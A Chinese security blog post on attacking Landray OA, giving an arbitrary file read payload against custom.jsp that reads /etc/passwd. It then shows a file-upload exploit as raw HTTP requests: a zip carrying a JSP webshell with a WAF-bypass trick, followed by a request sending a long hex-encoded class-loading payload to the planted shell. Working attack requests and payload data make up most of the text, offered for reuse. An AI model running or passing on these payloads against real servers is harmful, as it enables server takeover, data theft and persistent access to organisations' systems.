2024年5月21日22:52:37评论14 views字数 64429阅读214分45秒阅读模式

蓝凌OA custom.jsp 任意文件读取漏洞

访问/sys/ui/extend/varkind/custom.jsp，抓包并修改为POST，并加上payload（var={“body”:{“file”:“file:///etc/passwd”}}），在此进行发包检测POC：https://github.com/hunzi0/Landray-POC/tree/main复现blog：https://blog.csdn.net/xd_2021/article/details/121893236

蓝凌oa文件上传（请师父们自己观看后在食用）

# 蓝凌1、接口上传带马的zip包（aaa绕waf）```POST /sys/ui/sys_ui_component/sysUiComponent.do?method=getThemeInfo&s_ajax=true HTTP/1.1X-Real-IP: X-Forwarded-For: Host: X-Forwarded-Proto: httpsX-B3-TraceId: a22c34f91eb9bd9e1326b3cc54aa23e9X-B3-SpanId: a22c34f91eb9bd9e1326b3cc54aa23e9Content-Length: 500817Content-Type: multipart/form-data; boundary=********************1692085217190User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 8_0_2 like Mac OS X) AppleWebKit/600.1.4 (KHTML, like Gecko) Version/8.0 Mobile/12A366 Safari/600.1.4Accept-Encoding: gzip, deflateCache-Control: no-cachePragma: no-cacheAccept: text/html, image/gif, image/jpeg, *; q=.2, */*; q=.2--********************1692085217190Content-Disposition: form-data; name="aa"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa--********************1692085217190Content-Disposition: form-data; name="file"; filename="data.zip"Content-Type: application/x-zip-compressedPK... ... .%.W            .   /. PK..    .       PK... ... .%.W               component.ini.L.-.H.M-..K.M...PK..S....   .   PK... ... .%.W            .   logs.jsp]..[email protected].... .l.k]T.n../.c.#m.i.-....E.nB....O.5F.Q..3d/.)U.b........!GA...g8..g."..{./PAm.<..OG...i^.B... .q.u.......z..)..B.~8...p..i'bz....mg..K....d..Kl..;+.....WRh.m0Y. PK....f..   ..  PK... . ... .%.W    .       .                 /PK... . ... .%.WS....   .                1   component.iniPK... . ... .%.W..f..   ..  .             }   logs.jspPK..    . . .   e.    --********************1692085217190--HTTP/1.1 200 Date: Tue, 15 Aug 2023 07:45:36 GMTContent-Length: 39Connection: keep-aliveAccess-Control-Allow-Origin: *Content-Security-Policy: default-src * 'unsafe-inline' 'unsafe-eval'X-XSS-Protection: 0Pragma: No-cacheCache-Control: no-cache,no-store,max-age=0Expires: Thu, 01 Jan 1970 00:00:00 GMTSet-Cookie: SESSION=MjRmMGU0YmUtMmE0Yy00YjA0LTk3ZGQtZjQ5OGQwODQ4ZWM5; Path=/; HttpOnly; SameSite=LaxX-Auth-Token: 24f0e4be-2a4c-4b04-97dd-f498d0848ec9Set-Cookie: SERVERID=357e46e5f6aa75f389927a23b666915b|1692085536|1692085536;Path=/{"directoryPath":"themes","status":"1"}```2、接口传参访问马```POST /resource/ui-component/themes/logs.jsp HTTP/1.1X-Real-IP: X-Forwarded-For: Host: X-Forwarded-Proto: httpsX-B3-TraceId: 2b5ccdfac376359b2f4ead71fe65db9dX-B3-SpanId: 2b5ccdfac376359b2f4ead71fe65db9dContent-Length: 42500User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/116.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateCookie: SESSION=OWM5MjdiYjYtMjJjNy00OTlkLWJjNTktMTE1NDI3ZDhjMTc0; SERVERID=357e46e5f6aa75f389927a23b666915b|1692085247|1692083970Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/x-www-form-urlencodedfile1=76617220636c6173734c6f61646572203d206a6176612e6c616e672e5468726561642e63757272656e7454687265616428292e676574436f6e74657874436c6173734c6f6164657228293b7472797b636c6173734c6f616465722e6c6f6164436c6173732827636f6d2e666173746572786d6c2e747970792e43616c656e6461725574696c7327292e6e6577496e7374616e636528293b7d6361746368202865297b76617220636c73537472696e67203d20636c6173734c6f616465722e6c6f6164436c61737328276a6176612e6c616e672e537472696e6727293b7661722062797465636f6465526177203d20272d356865353538677170777462726a7a7076676463743036646f6e34653967726e307437626b70687973373075677369336d656a6e6172356e72306e6b646e7670336271306b36636330637076306d6b74723863303533396f7a68647871686133796c646473653632397079683868353734387278347a64336b6f70686b6b377a68797662636d377431687670687a7a726d78703162316c6f6c7734366d3274673469376864626f696978706c6531676a346c32357a6e786d6b7066326638786131727a6d377677316864676e6c7934656632726673777a646572616b74626f3375746e376a64786f776c71696539677a31616b6437787374346d33616f6c756b3933713162626171663877653670737771337169306b3566686870666236386c317a6a3763786d746832743079396c7974657a3377753674646c6d3931397167666b72656a6e356f7a333433336c6c64386d706c31367a786138716c6466303371716f79636339713962306f363475756a7277676c626a6631716230676b6737786d6166683671366a6f756768397064626e6a36616f3372323234656f66626936646e6d3076396c706c363371346d746a676e326f686c676177756e31666239766769656e7667716c7475756535666e326b717862716c673071676365757273766534313575396c38656270726a363673307475686461757879797266716b76316237686b3663777633726465377133676677757a337967756f6c36676f786d396e677779693261386f346362703834647a6e68786c683561356c7669726a6e346634373768766e6c64633977756b356162386e62763869307268626476736c7332726b346979613066786f6d34676f64786d6375706a6f66356962667530706f62333361306f6d6339767261777633746832736b616b31646b3366653361336178656177626d3634796f6a796a306e30306663746c6b7a6974656a6b7771336e67666a7337696f66746369666b666c7473637563763630627678693032363065783332696373773579357a6e303263657671646f64683939686a75303969356c353562727032736731646e796e6861756e686738357035627a3164616273706161383478363473686a383961736737766f657874636d676f35677869393567647a39667838686a696632617374756166386f747534677a717071627567346234327a6e6a6674627a72676f6a3174386267793461633073676e30726d6d68396a783370337a7278733275746c7165706733313474736c75307030347267647562323475676879766a726162677a61756d7868347638657939626672336e747a6c39316f7169676e68637462323739336965323166347962736870733075346a30696e776e67706d6f65393375306933766771396e76786e346f6769786879736a6d747168676c6b73743338393632633174306f78343863386d3062726c6568667a32747075366e727369743171716862626d736639716a6f6a62367a34727732666e376f777339307830706c6d307136776b713571306831746b6138626863346576626c367733347578796d7966766e3734676573696671667a74326b36786131796370666975386379703664756f69627266696d666834377361316d657676757164757770647a6f33326f7a6379697675756370673236656b7174766f376e776d6d326d6d6e6a7762756f6470736c6d6f3171373471726b35367a363365636872783878727671356f7765356662627773387234377433756f7136376a6f72356b396f6c6f657a3264307261326a616c366975776c327a756a37386168386f37707673766b706935353563623375363077616c6f39726e32686664737167756730676833676a7769756c6e377a30356869686771756a6e74356e66696e6c726a35797067676f37327373316e6c6874396b3668686f656765616b7a3777647174737233696374367962757863347a30743962626b6475376f6a733866697062356769723372346f6d76777864626c36723966736b616c6a6d3765706b31336532326c3869396a3035743637317476326a38637766373037723133663373306d383579656663763734356f31736c32767569737866377a3669757765346565647867786e766d3378396963703432617a31337861373879736979776c7a6d633167333963716b786861773276686a64696b6e33733277686b6638656464753130683670776b6d7338666b70656e68717373786a7a6270333635696f39666c746c6b7066307874696975696f79346e69666a33636b67756c316f66337334773272356b3475646868317a7679686464396377396e366a30676f6c72737264337a6c33346e6430673164723572393533766f726e673837386a6b39666361387562767a6c69636838326d387a716b67376c6a656938626c7a697963357935656d7437323168756d726233793679686b77646c386f303931696e7a376378787837333238717637656a397075383371753139376e6a74757a7672353661306177336d7567756d656465663835787070397932733939623066347331777a786b6e643766776d753839796e6a68357a366d6a7365673267696b3275346563346c306b78766479343765366a62736f3831756378716d6b3933726332307138746d733732787a6262756d7075753169616c37646337646372336a7930666a623675687878786e74626c307161646e7871696d6b346e6c67707771713665686377633267796b6c796c32636877666d74766b317331666a6a6d7932776777737a6e697431373135676a6d793562313331336a6836386a797a6378776d687535753564706e643374376b6b37667a336c716739737567636b34716939386d726b36703063737379713333703768343339333874653163716e756870327164747a62306174776b3267363676613265676e3663787466377672736e347a64306369376d336f7472776a6f347962363476686630716c69676c72326639707774663678387675316c32756a656b6761337463396b65673372687735396e3374646531706c356c6e6e34667a3266397a3164646d6a746975387067737674686d6a6a7431676c3868386d30676b7938396b7833377762617a6c77633239797732696d3331376d6d7770707a6d63363266336962667179743477306f35636e716a3535716d796e7432373430736d303977696877726d696f68316a6d76373770657232657372706f6263723573377939686c7a7862356930336b75333271316f6e373168746737676f7633687131383532737a6274736f69716d6e6d6c3470703469696869316c6d366d6e3431307734687a71676f7963306f6c746b77767365776f316c69726332697670396832316c663535746366626435383532686f62306a696e3568656c3271697270753430376d6c7a726a3576376a6375616a3779756879366e75696f6f736c766279756567326f696e65386d32386d78676b77736d6c6c7171736d73643776613572743935666235346b7369336735763630336276706130736e3138397a6d786631376a7061616a3979666d78316f306f37747a72753074353735686e793374336e76667466757630697533636c68366f63656e6e6d36656b766369316b70713873386a766c36667971376e6a32756232626d6673696677316e386a7061746e6c306168617a61687130616e7436723632763961336470767368687461366f397065766b6930736b733275636c77686963656e396f3777643039687433716f796379697577636637326176796d623168637a376a3269616665736e756630656b79656c707a7936767079736f3031667472763575363776336c6f767a6a65786572763271713068356a706f69333872663877656c7965353132366539363064696a3679786931746170616962686a396836687066307a706c35373379646662783363327065363030757661666a75386f736d7565307163363862706639656b6d67683634776764317a71383077343939356f7775727739736e7779316e6d6339733163786f666e7a7a70703666636238686a3079777671756e71346569396a6f6e6d38747a7370376a773668743334383873717176743034696b7979376c77647577636f77616132366430766f6c61777a39637a61666d3870626f7562647438676570716668356c6b336c7039726674667266763631666a7a6d38797a68766e7272396c697a6464706a7266763178346375786669747a3569657878623969336e646a6869363570397a6371396963653336757377773370376b736474623636647335376d66697a796662356c70316a71667079766e617231726575797572773038666431356c70313468346c6e727630697330316c6f613470666b3577396479307674717931336a3168327a64353278356b696e3764317a3234376f773838386a6e6138367a63367838366c65743161356e656663363870636f30647167716d6e6c34306d686d65616f75316371797569357634646f656735706235733738317237786478673574386f33657633756a33636f6f36736462686d676a6674796e33336f3661656e6c776e667337356d346f6f3231316f76356d6f6c34306d3277656330343137746b3535733572796136786272786b737a7a6d646f733967346c3779686f3569716a666b716a656b7034626d696d39677067636273707a626164706a6a64367769617a636f38796a746d776179616d74386276377a64667a6b673969783076756a71397261753236386961346f71383032786e6f7076656f79303367396c797a6d3567613432327335787a647061366a6f3838706836613233757a6176756161697a6e73626f646a696b357666377631747439307a757077783876793261726b6c6f36326e787a69797775386873316c356a707175706a6339686f676e66683464716975347766616576636b66386b66306d6434323378786378336d7768706b636438326931736b70657863316b6c6363326169766168617376387779677a6a7566646b726b363875346f66636b3770336c6f366c7a6b75336767333072676c316572763775736f6737387872706c3164396931357a626b75793771786a723231306674706e7277397a616f6178306e72626a63736b6865767963763432316f78726c6f32316a657a356c6b71686335636936737a333265657331377239706773333479617874356338626262347632306468676437366e697869777579787937347579306564347238316165703137727472737475356c38346d746f706c686b303438666f65716c746e39796c65796b30766c726277736379706570776b646466786238786a766e73336a666f3777766f7638756e346a74756d7971677573366339357062363168706c356b30636731766a73776e70786f726a357662696539337a666e62777168617331716d7378386c3339666a73666e65326d7876676135626e6d3472706a317a67657a346a6d643172747368776d74316b363364616a6f38656f666b756f31653033376366706b36697867676a6f35647164327a76373939386332356d696d777479626777306573346d75333066757036673436337a337174667938656d6b726576727a77766a373278616c6d74366e6d6469366474626d676437633373737a38776f696e3131397a77697534346d796430686e306d37616c6279356378656d31397538356173617931766e7578333777343935693173386a396c34667977706b363470643275796d6b6a3738716a61666a787665766e71737068737a7477373967786c6b74623477736f7262616f61746f616e3061707969356565336f6775397434316371377a647270627877663478713777716174333231306b356b65737a7067633879637a6431717730637a30766673653865773163786e646c6169386d6f33616565386c71356667646f76376833787475633671306270756a7564696b77736d776d743063693875677570666a38696f307063336f6663366b6b7070706a71777a31627677736a646b736e3066397571796f336d62676a6f396776786539657936356f386f75696f75396b35753735747130796f7a6175796d36333175787431786c3075757772686c6c6a6b3474796a6f61336330756f756d367835693677687434727573787062697464657661677174797571323076736a6b6278326d3033307078317461636e396b3971693566746535726c69706d6770373977336666627779646a62376d63303030796e66713269626f7369756c76336d70376d377032756d7675396a71343363326b327470356171766174676c7073796a39363836613463746a656835663531736c313764346f346d6c7461783871373074366d65796e66333874687079336d6d373137666761637275356564716e7363626d697877306674317038696d6d67327377386f663471636670766a65386663377537746b67797835363336656e386b69736f6433696a387376786b74646769633432756c623237323574376a7172757370756d756f616e72646a74396d3361706f3535376663766e35376a6462326470756a66366d6c66633268716d7339787770733534676a626f6c30786662793072336470663230766233696f687070717a616137316465787465616966303773676366356d6e6865727a687a6b786a38666364636f65366c39327a6234693574303669656570626f35667a716735306830746262706c67356e776d3574663436377473307a68677938657463667a39386365397961386b35396c64696d6567316f737638316a707636313874706a33667a636778616f7639327a62646c3566337235666874667271377668623335393234657a646c687073643430673975783875787267677861716f63363231773967617a776578767178633335373571747931616f396f75363532356e3837696d6a747871616b7a38673531386b3273327130716a7474746a7061333078356c3636616476776571646f736b6664797277397a366f7a61366b676f6b7835386d773366346f6b7734787030627537686d746a6f6a746f7174717468756c697361717574376236316c7539693062306a33357a6a6e64317035743961306a68703669656e6f78616c616f70787a3468663971613863376f6e7332636b39646464786264757a6176353667683874756276326833336278317965343867373364706169756a366362307a397663616a73323773677270623572693433316938326439386d706b63616b336e7a6e357968356a3663726d366968396f3337366e3271633675366b7573706c663332636475326932646c6c6f61786632706c3434313635316a6b366537346532696b3963367379646c3337307861396671753361323565693779653639347675796f7a627061756766676f767979326866716e79637773656f6e357439746b6b7a62317a397373726b31356b34797034783372676d6b7473307632306f6b7a387430707a32786b62767a39376d717535637079686c7173766b623071356d656f6f6d68397a307163717932656938306c6c796f75773434677667656b6272676e757868306b39706e65666e7134396f6d3178756430716e36336573696c66613131666e756b68657a7871636f626c3370686e6a6c3966396d7232316f6f35306a33756f396a30316f3232656f687a646d786e766d32696b76397167386b79327163617464326831747a7a736572337934613975336d6730653665686b6c3776767a693233316a6d756d66776f6633356d366164623465747a6b3668627563666662656c383731786676316e6d6f613934716471367530617565696d796774696e73317569757161647431706179636d7665333963327a68796d6e6b363572316736757665386f6f30776e6e32706b67756c6c6869357430733537756931773473706637366168756f6574643135696d71676f6a6f623564696665306534636a6978787365706a7963346b6a6e766966337031397a63356962363679706a6b736539726c357238616d366f6e757072306575316238326e783038643479376834706665697a6f716c6b3531737578397262787468326466667a68787878306d68326734667773353233746379346d65776f643378757075703368696c3464323072736d6e7762326468343437637830386e736c6f6a68777839393778767439333364696d787867353133677474327a647365677378686438723337396533356d76776565677a387367627a637065716d306b39646d6466797a7162636738626f726b3072716c6d64616476756c63676c64736e78726f6a796c7a696176713239757a626d6c766c693130646b79666f67706b6a69307979386c666d357838637a626e673333716278656f687431793532636a6f33326a676c6535793174737871303262346c63696a6f326f363230327a326162753163756773763637686c6b343063687266656b68696a6465637939397936636836767479726661633679656e713874683665396930696c6969326f70753534343564616c7877367777376f73767274733139396d7a69376c71353738627564737275777566396f73326975393073636272377770357269356b736c6431776f346e7a6976336e66723876736b687262617871696778767167377569306a6d777a7536377231716c6b3363773432763671787a6b777a6373676474377430786e6b316e3170326e3135753467796978397567336e6a30307a6b736b77656c79316b68386d67616b696761307a6439637236776c3535316d677435766637713732736d6574307a7376666974336431326a6b796439317a6d6d6e7a667261756569766934716f717435693573326f6b706268736c786662386f366b6d69313174796b306273626f3166386f663076323779646c62656a36303379666e376d78777364786b6d6e67716a7a35667462326d33396f3878746138786e6e35656f346c72736f6535386e33657075317436646c747a336937713972387a31706668376d77647336616f36627a7168396c3172617334713231746174656f3831346775783775357a64316d336a33613736706166313934766f713075336b6f68327676676a303064656561306b66706773726c72676565396c3073366b7564673971316166396c73626b64737531657a747465666e36646f696a347a6c716c64626d6b703637317732796e3073626839697238343238717774786e66323236327362696b6e6e7664336a6468316c6264386f666269706a6a30327064617a777536376c673439333774786273756f726b7938796c6b726d3430683976666f6a34676f7075703630643567763135346b383037646f7a6c383638346a7a736b686d7a386d666865747a667166686d386f79626b776732677764786f78323875386f696d6f6d737274706f6a6e756d6968657671773236787934717233663479706a68636b6933357a346f7073776830787737646a3838796168366579686b73786f736a6462627a61326f7a307a333139626b74323063367a7a6c6a6a776334736c73316f77786e7470627732663270637677746c7a343963657a34316e7237306a70377a736e666e7062303577647637316778737967616e7073627372777a616239796f6d30656979683734686a79323575776d79646d757071756f3138747676386e776b786a356664763171666d75713331786d67306d3632736467663438307a647363387474647670657767697a6f336662796f6e796b62737578636962383875773930616d6b7874756664796433667077666f6566716d776a67707561346c3030376c63676b3138763361787975726d7a646b733472636c6c78316c306e6633336e706c6678317a6d77617a306b3937316d6e79327776723765617077646a6132387a6b64616b3670616e3271653876306b687368756271637561346d306632376c35387563396a30767032346530716d30756e6575707170307835776530656465726739656d663274756f6937796f786b6474736e626539637973776d6d6433697439326f6577697632667162307069387364716563767a69617a6d67636474306570703031696233366d386a34396663706e686c65793464337230366f6d6c3331336e6c796d6d373537327164617a713933356e386d73386234777039783172306d63677a75656e323470367066337a74666d333136787a616b6b617375616c746d37676533756f3470726972366b7a3936736839677168667532623074303573656f6974387463356c62336b6a623072343873726169723133776667677668393163726a69736c39376166377875657361766977676b31616f6e326d61747362636e676174316471767970673736666468336b6876776572636267617977386a6e65616a7762376f31737a7679737365683373616f31393862397335366f79773977346467746f796c746439346d306671627a667a6a7a6161366c6163637762686c367a333130703077616e767378733472727679773132346c6169656a633678367668643476656e646662313230663634646c317971636f306c6e7a726a34357862646538617575313838726e62716631677138657a756c346a7a38643868316e68776a716d6a656b7867767a723031677a696b736e7479317869376269723777376b646e61317363796977676371726f717437747034303531617538686f6d74373734646d3969667079363168337631776831373362336630317a336e643138326a696761787a313770376c7772793164676f667a6477687a79656c7165697179737061786e6f796c37653473336c6e616174307a65326b773470636e706230386f616d623633746238703971616c7a6c6172397a3939696167336e687a6f6a3170637279646770686e70396b337578376f6f6335776431746e387572336977653372316b6a3838626d727967333965647372686e7a6d77613462743462306b37367a366b62627a6d3669686563726e69396472396b65396d7275623237616e6b74357538657a6b386473786d373179696c6935746b616d66306b64643931306e7873717736327479787a733066333474696869696430756474307075386e727931776f6471396275773731336e6179696d796979637474316378776a7a367167686a697136656468337a663162393368686f39307167327168337332676b6876706938736372637371746737366b7077327a7a3476796568363371766a73663837797965757870656a323369317078317474707831316337716f33356c363767367765743572306e783661706b76726432317832356d3479786d3661316f7368746d757470726a786e6a37637139707663796a657577636b37313575386836356f683173393137646a676f6f31656172636b706f657674763937687a316a6e7378726b6d7a6631663274343336796b76616868393370627567656b7068726a756a616f6a7a723338766e356d3862357870397a7679337a346d706679676c617a3673696234776c617673706a7270616362383831766176653634326733736e7a3970796f7163683272636a636674746479716a7069613263636532767537666e71327879747071656473716862626176726c676b6630777673303336387a7a38766f61613978316f353738776962766f316c73317263676870736e3877696274626668713278693232737a39697237633162703261703367746c646a316c7279707064646d72686d726c6e71656771387a6b6174796a6c6371393479347675636478776e6d696f7a6f62376a3239797a6334696f79326f6e686d333163637479676c653669737336726d716a336e6b66647063387572776a7139796c71783276726f676b306e69707732357939777863756e78746d7563397278343265626e6b767a62786b30386d337a6864717478686439766432346d627a6a767536396f61716a6e6b6f71613138337667766a3478383962783171673376773632677674776b6a7872766a7178396934746b686c7a396b7533343732306d6f78766c773579353738396a3669386d646867673773326f6335316831616a6276783479306b646532736633617a7439686a356d76306975346264786575757478793173387268756f766e367561716d6f616f6434666c787475366e356a313038743037793235706a6b71323771306861676f6a6c3373736b717834656265616e6f777376336c6b383261617773396334766b32626b7938613931396f363139766171627837327239663077316b62636b746b627066386b7930786370623467376770756d6c7578726271337665797368337a737734396d38376d323234746e736f786532706a637379676a6b35386e646a6d7136713079653866366969337a6a6a346b3431346a7471727731326871786468667333387933396e78673669336739336b3974787a3034766e667166747a73356e726c7075786b786b3432756b7a686c31316d646331706d6c35636171786d356366376d6a63303061707062707062686c7867703871366963346975636375326e387a6c6c79676d78336d767767346a7277356571366278626670646f3679356a7173717172757662633677737068786d6b6a6a6179636c6f77656c746c64336576626d626f7931307a37396d767161656471373768636a6536387a67367979747a676e68756c316b34697573373830616266333967696f30776a3378747465787271747879736974396735646736787a7670367a346e70366d38356f656465343265786e39727135367439623232676477706b7731357738676c716c663435663232316f34683671637739356b6279387930756a38767971396c6a6b62657971353979657038376a6c73616d6c657a696d663575337a7669783031697a62386f6b3871726a6336766d733531356e7130736d71676f6b6b6a6c337876397971616867356162766a356f7778796a69643532717169693334306467666b65647a6269366439326973636b393877347a616873737a67326f643831736f676c776666373276786473726171376f79346866303862687231616b653963687a74686b6f79776f686d3579716a383464346e667273753639716a6579687778346e73696d7979696c316a716471386964633138756975786c786d7862713763317078316b6766337a6a616463716c773078613839396768326d347032746a6768676d7534306a74616474766b64756b37726a3531627033393834396f6f696c693837356168746f783678336a376870376d7435376833316173393063356b303239766d6b646c326e666570686265656269776665697332346d627a6b69346d6d637162686f6e7971666b7470767435736478337161757830336a7a797271673373736d6e6461617138327135346f31627665643171686b6c3231366a6d723169373876336d38727a6b77366575357361306c31636f316e627062733972766e6f6866646e69376a6174656b307a75707473716d627a7934306f307a3371373165666d793961396675736a6a7732656b6e393774373365636e683176666b36726d78656e7769747961346a78636f337932617568636c716f6f6767386f376f6676696f703869666f746a35646470323065376573767330356c67396c79366378617a683966397762386576797073313363326a76366d76666678706e6774386f75746366366a3768673135686b6631393070756969313867773835316730626270376578373669686274616879767177366b35766a6b6f34716a6c707237673979383036716679706a3934377a796c6262746970386c793138656e6273676b6362617379653234776e6f77357731326a637832326978687739387738766f75633432376e7a326a727672357038766963366f776a7539326b6938676a746e6c6e7739366e6f74797973706172627a33377476376f79727a79666235706572696a746777686a67737974636f6e356c6232656b3664786e356e716a63727567716d356733716271683336766a7167663975373568626b35363464626b3567776c737479366e6e32316c3636743539676c74756a63767234656a77686f77777a34783932666d6b6436356f6e72786b75646e6a696c386632366e33677678697562777065366f6574796969733479787269703862386c366863747768796d3465386a6637396931686466797a757335656d353570643867766e796c63706763766c6d36347268307338356c6131743237686775326130693864317830373561796a676863356f733632673137646367736974356a6465716a7234357072347172706b797961336b74616d6267383567316e7268643468357671726531736436667570326e696d666766386e63706c6965636976396c77323569656f6a6532703631697173317367613938396c6c306563646c33783132363668706e75683734677369736a65643872336c737978393569727561753935717230756b61307671736c376f6d366b6c7139396e70356861716e6137796d7070317267346d73793774633877336f78696336333631356f6569626a776a63773831356469346c73707334717a3163796561696764763269326c396c7238696f31306e6d3830723176767037386c37796f756c31637875687638306f736c6c6e746267746266736136667376716666387863717967783071636530716474797433333069746f706a71326c617a386f7135376e337437627332756a72367932613376377965787764747a643970313472707036336f3370783165706d636c756c633178757167646e73686f33776d777473617374726a62307279313963386838646a306a796d786b74763671756f656f6d7277757431327635686d346e767a39656377736b33766a7937656b30687a6f73313738783273396d35616b787264776167647335627270686134676a36357a7577363661797033776d646e7574756f386c37316a7436336f746737623637376b367978313765713777366e7a6b3074333276726d32636338726838767a6d766f6e68777a6168776374673539337a63307a343274316872356c336764723778776771616635346178647931367677326976376f366574377833796d346377767838626873616f6772377871306539396b6b363169616a38746938686b6436766e746865616c38773265657375766a6f3132396e78746d766b786172756a73346c6439636e65737579326b743375757a6734637567347677687037386c33667369756f36616e6d347573317632743568376939336c757830386a3670337666377a74727470626e6e62653563377a6f623377636c37626c6838616c326139383571356232396d707a71747a6e70783977383875373379673272313077387378316875636a7161637774316c656466646e31367970736632686278673770746465756b7a767936736734616973326e6c61313872786f697138746b3533707a686f6e323974616a74616a7432796f7168327935776b64336267327474753136786477366e75346367726b656e35656f626f6d736c79786132796b6b7161776c7479656a7634326c35627136776c7761306b6c68797577366e653567626e356d73326736686363753675783261667139336469656b39306f38707471703466683779346e6539706a7034336d707133636c6b6d3634753836356739696f6c67706a6c366a6667796e68376c697973626f6d767269753468797965736d6668776434647a61666532356b7131757a6869616f7777776878686b6a33717a6674766c356f6969763661333362396568686934386d656d6c396b79796a346b666c32676b3876776f386735613665396f376e696f66756d79397371647337367263347332356a72666136346778736f726d306478337a776f33796633656b376e657a34337139693933306a3477753771377168716a776968696e676f303576396c6839703672356535337a657376647970747875336b386869396f78346f61313533363564766871733866797966343232307564716b356b366668303136336d37706670746a773075716c68336567716b75756a3632786b786a686b6331696c346a716a3438756c3261337538716276673179636d79386478316c326564647665626f6775767563776a63726570696a626f3371656866707431673538346b3432326e75686c63366866656667766a766d6d3135797034676c6164677567763962686e383863373631676a79703265366b777a64616d34706c707530646b757067736969387666623130656569726c66667a696d66326e6878756871646c7361797374696c7267307434686133337a376a6c3672397162733963366870726f716c34316738653172676d7631663173787562797268717a307472356a636d656f71676669626932683074757064346375746d6c616765387636326d36616d726339307179743873646a3475633876696d7a7265716c6e30623739796a6530706b696867316e6c72646464746a737a38387069726b7939303272667a6333653065796f617064786f357872666c387070786638753734716d616f7274386d7033376f6b797961616f31697a387773693839616e3938707969707972636578617465306e3766763077647a7a666e326878633376653272336768626b7a756c6937656d38397a65726477747870357471637278697166336f3079696c316a697532727a623267396e65346e676163303433383577646674616d3139683076756870656330633463766a326731726773757761363533676e6b6d6e6a7330353573646a646b71636a367a32626c65766f636f6576706374316e69707833657a6f6e706b66363470346f66767670793977357a6c796d706b68386d64746e6e3274733363667a356c39366b396476676f73733579353464636a73686278616c64397a737731306a777632676a6c6c616d3835646c616d376a6163653175706832766673746179616268666d6b313169616279613339747973773670763664757038776b767566306d736f617177756766307a346a7a6166326b356e723075686567307a37766763646f6d6933787863336b627670666e696773726572786532726771716d6836306437773576717674367a787470366136646d6f6377356c37666d73376f626630396a35713362666861717176777279396b7a366976687270656f6a6f6134616f7139716e726c726e353568706d6a646e783861706a677a783977637164373834627265773335306f72627965303071326f387138757978746b6a6d6f3266793064636e64753671706c616b32746567656d3763303664726c7075346e6d7a3376756e6c697a6f6f72796a686279767a70786d3638396165353773366a38646c6230796a6579317830336b62696f6e616d7371706362666e73367667337a396e3134776f62316575716f6c766839637238643936763265616e343138756a7a7a6e7261346e7938316971346c31356b636638316e676f62663962377a3177776f657477387975656c797a6f6768726e3435736d75747363387776627a673774387234733066656c32786865637272756935776c616e31306876677766676e7863327931353133636c686b68656b6d64377731706b633468676431646b3071396b65366c69676373347976686e72386a32696e333330393671756c70367273386168616561696b326d6c7369766e746a786c30367269693162636a3679756164386372666c3366736e777a6c637361376b726e626a623930726a6a33337839617577326464386f6a7177396f71326e3363756369637262307138676e34357478697336776833786331743872357363336c6d6b6561356272306f366964696872336a3637697731673367753834796e7461766d6d316e783266716179777a3567796e6d7432743474353479377479353232737832336a6a6f72317a65356b7661787767337833396230796939646a6d306d33376337776c307164656d616d6b6e6271383835616333756d626f3869326337386a75307473346a36757a776a7177716733736236386f65776466763878627337646b6179627238726171707a66616c33306c627038306c35616636307831766274623136366e3333756e34763934306e7873356b78666876726d656a62736b346a70326269356f30777937397032627663716d3032623574317565326562746d6b67786d787562756b353931696374627a3632766f686c386930623464796d30673762627a7733613974687a326e6170337534736465747970756b79666761667374383268663934336d7278313767357a3137747a7a6d7662316d79646c79616f3532386a37376472616a7a6b336d6e3061397067356869776f387674313173633238397734623575387a796e3033753033713738326863376436307663746b31726c676a6e39337976306664637562746c6c616a7778706a7536656e7479613362386d306278387870696c6b796c647535636e656f716a6d796e336474336532326172617533313036617069776e62386467656270736b3771677276366a307871396b65706837387930777433767a3863613079646766303636736c636d736b7630677672716f31766d726178786d6a37376b326335687635637a3632757371653676313175316d713966626533713167756665626976677a35733431626c787937666f6a6d78653477697932793166326a786535787234653777766e686b336a6c7971326b75326b70796b626b7068683669636f70633236386e6e7838323438796c37766939386e376d7779726e7a3974316b61686c726964736b66396a33303966703775716d356466386f6d6a393879786430346e367666307572306d356c6165793272736d3764656a346635346862306a763075687468303932377834727a61737a666d39736661796e666e7a6764376b67356c713475356e697973386f767663796a306564746c65337762696e6669616a62746e737a683465626331767861716b7266357937706976717862766a7536766b6a6d797a307a786b716a6a766a737530656b78337436696e337579353177356d706a6d716b6664766f727a73647a71797262676736736a36356870353074346366786c6d61747962697172706e33656339347163657430713172666f3165706e317971767765796c667036347336657637316c693869786b6561666e353131656a676c777a6c33667832756c6c79666d3764627339327766356e6a7338383268747a397233646e6e3933653378337a6d796f6937756e6c6e6232727130666569307862766d366f32656d7a786d6d6b7939323579686371687061657978786f716c636d6c71663671743438636e6a666d666d6a767a783374313570636f3831736c6336686d3569376e66786c7777687133766e7a69667376323538747934696470726272377569767934346269337267386e727335726e6e35397136663370697630747a646964676b7063376d79326f7431376c716f65766e323268643435783834717076736c7430756d3036766a376234696e336c3768676c363277776830317a7067787038716c6969376a346836323574336f6c3473793979726b306f706278396a347038617a687579686d796c716c646f6f6e7739627767666c387661756f3265616d7a74353472336b326678657a376e6e6a396d6139727270353566687337763731686f7530393171676c38327062696a7a746c686a67326a36326e773336726f76636b7239737068786d61686672327078627432796e69627270656c35393565796265776b7673393568756335696b72347072787a7969736f716d7477626e6532396565766231647375373236316632337973707332356e306f3575386f6d79766c7431386437766f74396a3172753164337930316e3477316f37766879396a69333479787a376c303776746c616c356d7735667666313067666c7678626c647330623272373874716970736a6a796f656c636364667677306639386d746778706c626b6c34373678763637386d3476676b756d337574786169767279666166676b696d32713663366e677a6d7232743038726e346c71676371786263666170376e626f73346d6c657237726d796f6d726f3666727972696c64686579676579786a3731347230616d637476617879756e3835636e766b696b713539736b62716767386962336e356d7239793377346a7633637169337030716a64736e30796532786c73636c656f62386d617735326c793264307a396c6e336476616b3731793638336f666a323631757975386e796c65797572313268726c336567616869303073377a667330656f697a727a7a69737167686c78357635697033796d68667a3765317834796c356474786e6868343865377a7730796264646d696a76366872753473376577726a307267756762777236387235376435397a6778626838336d77766a3870656a6d386238797879656d316773786d763637